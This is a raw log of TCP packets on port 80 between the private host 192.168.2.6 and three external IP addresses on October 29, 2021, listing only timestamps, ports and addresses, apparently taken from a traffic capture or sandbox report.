Oct 29, 2021 17:56:10.185053110 CEST	49858	80	192.168.2.6	104.21.9.146
Oct 29, 2021 17:56:10.202104092 CEST	80	49858	104.21.9.146	192.168.2.6
Oct 29, 2021 17:56:10.205760002 CEST	49858	80	192.168.2.6	104.21.9.146
Oct 29, 2021 17:56:10.206561089 CEST	49858	80	192.168.2.6	104.21.9.146
Oct 29, 2021 17:56:10.223459959 CEST	80	49858	104.21.9.146	192.168.2.6
Oct 29, 2021 17:56:10.281486988 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.281687975 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.343930006 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.343964100 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.391041040 CEST	80	49858	104.21.9.146	192.168.2.6
Oct 29, 2021 17:56:10.391067982 CEST	80	49858	104.21.9.146	192.168.2.6
Oct 29, 2021 17:56:10.391086102 CEST	80	49858	104.21.9.146	192.168.2.6
Oct 29, 2021 17:56:10.391104937 CEST	80	49858	104.21.9.146	192.168.2.6
Oct 29, 2021 17:56:10.391119003 CEST	80	49858	104.21.9.146	192.168.2.6
Oct 29, 2021 17:56:10.391130924 CEST	80	49858	104.21.9.146	192.168.2.6
Oct 29, 2021 17:56:10.391380072 CEST	49858	80	192.168.2.6	104.21.9.146
Oct 29, 2021 17:56:10.435708046 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:10.454312086 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.470738888 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.471091032 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.481878042 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:10.483551979 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:10.488586903 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:10.488641024 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:10.533242941 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.533263922 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.535037994 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:10.535065889 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:10.649597883 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.649648905 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.649703979 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.649744987 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.649785995 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.649825096 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.649833918 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.649853945 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.649858952 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.649894953 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.649933100 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.649945974 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.649954081 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.704277992 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.708935022 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.712265015 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.712321043 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.712362051 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.712402105 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.712439060 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.712445021 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.712479115 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.712477922 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.712518930 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.712539911 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.712560892 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.712590933 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.712622881 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.712658882 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.712666035 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.712727070 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.712768078 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.712805033 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.712822914 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.712841034 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.712867022 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.712871075 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.712949038 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.714261055 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.771486044 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.771543980 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.771584034 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.771624088 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.771634102 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.771800041 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.775652885 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.775710106 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.775751114 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.775790930 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.775831938 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.775871038 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.775896072 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.775911093 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.775916100 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.775921106 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.775950909 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.775990963 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776038885 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776041031 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.776062012 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776102066 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776140928 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776145935 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.776158094 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.776179075 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776218891 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776257038 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776294947 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776300907 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.776309013 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.776336908 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776360035 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776401043 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776439905 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776444912 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.776451111 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.776479959 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776520014 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776556969 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776595116 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776602983 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.776611090 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.776633978 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776662111 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776704073 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776741982 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776748896 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.776757956 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.776781082 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776818991 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.776900053 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.813906908 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.817570925 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.833976030 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.834022999 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.834043980 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.834065914 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.834086895 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.834108114 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.834129095 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.834141016 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.834150076 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.834171057 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.834175110 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.834196091 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.839116096 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839144945 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839167118 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839188099 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839210033 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839231968 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839246988 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.839252949 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839268923 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.839273930 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.839277029 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839299917 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839320898 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839329958 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.839344025 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839365959 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839387894 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839399099 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.839405060 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.839411020 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839432955 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839454889 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839478970 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839498997 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839498997 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.839504957 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.839520931 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839540958 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839561939 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839582920 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839601040 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.839607000 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839608908 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.839628935 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839641094 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.839652061 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839674950 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839696884 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839716911 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839725018 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.839730978 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.839739084 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839775085 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839787006 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839791059 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839812994 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839822054 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.839828968 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.839834929 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839857101 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839869976 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.839874029 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.839878082 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839899063 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839919090 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.839983940 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.840703964 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.860472918 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:10.860532045 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:10.860569000 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:10.860601902 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:10.860635042 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:10.860671043 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:10.860706091 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:10.860734940 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:10.860753059 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:10.860810995 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:10.860831022 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:10.860857964 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:10.868697882 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.868756056 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.868896961 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.879915953 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.887531996 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:10.896497011 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.896534920 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.896558046 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.896573067 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.896589994 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.896614075 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.896631956 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.896648884 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.896734953 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.896775961 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.902090073 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902112007 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902129889 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902148008 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902165890 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902184010 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902201891 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902218103 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902225971 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.902236938 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902255058 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902256012 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.902261972 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.902273893 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902273893 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.902292013 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902307987 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902327061 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902343035 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.902345896 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902353048 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.902364969 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902384043 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902400017 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902416945 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902430058 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.902434111 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902437925 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.902451038 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902467966 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902477980 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.902483940 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902499914 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902501106 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.902518034 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902534008 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902549028 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902568102 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902580023 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.902587891 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.902589083 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902636051 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.902642012 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.902651072 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902668953 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902690887 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902707100 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902723074 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902770042 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.902780056 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.902789116 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902810097 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902822018 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.902870893 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.902877092 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.923471928 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.923522949 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.923909903 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.931514978 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.931554079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.931683064 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.935626030 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:10.959510088 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.959559917 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.959568024 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.959589005 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.959614992 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.959638119 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.959638119 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.959664106 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.959712982 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.959732056 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.964967012 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.964998960 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965018034 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965035915 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965059996 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965082884 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965106010 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965131044 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965152025 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.965158939 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965171099 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.965186119 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965209961 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965210915 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.965219021 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.965234041 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965257883 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965282917 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965307951 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965317965 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.965326071 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.965332985 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965361118 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965377092 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965403080 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965410948 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.965419054 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.965429068 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965451956 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965472937 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965497017 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965522051 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965522051 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.965539932 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.965559006 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965584040 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965605021 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.965614080 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965615034 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:10.965627909 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965656996 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965667963 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965688944 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:10.965707064 CEST	80	49856	45.141.84.21	192.168.2.6
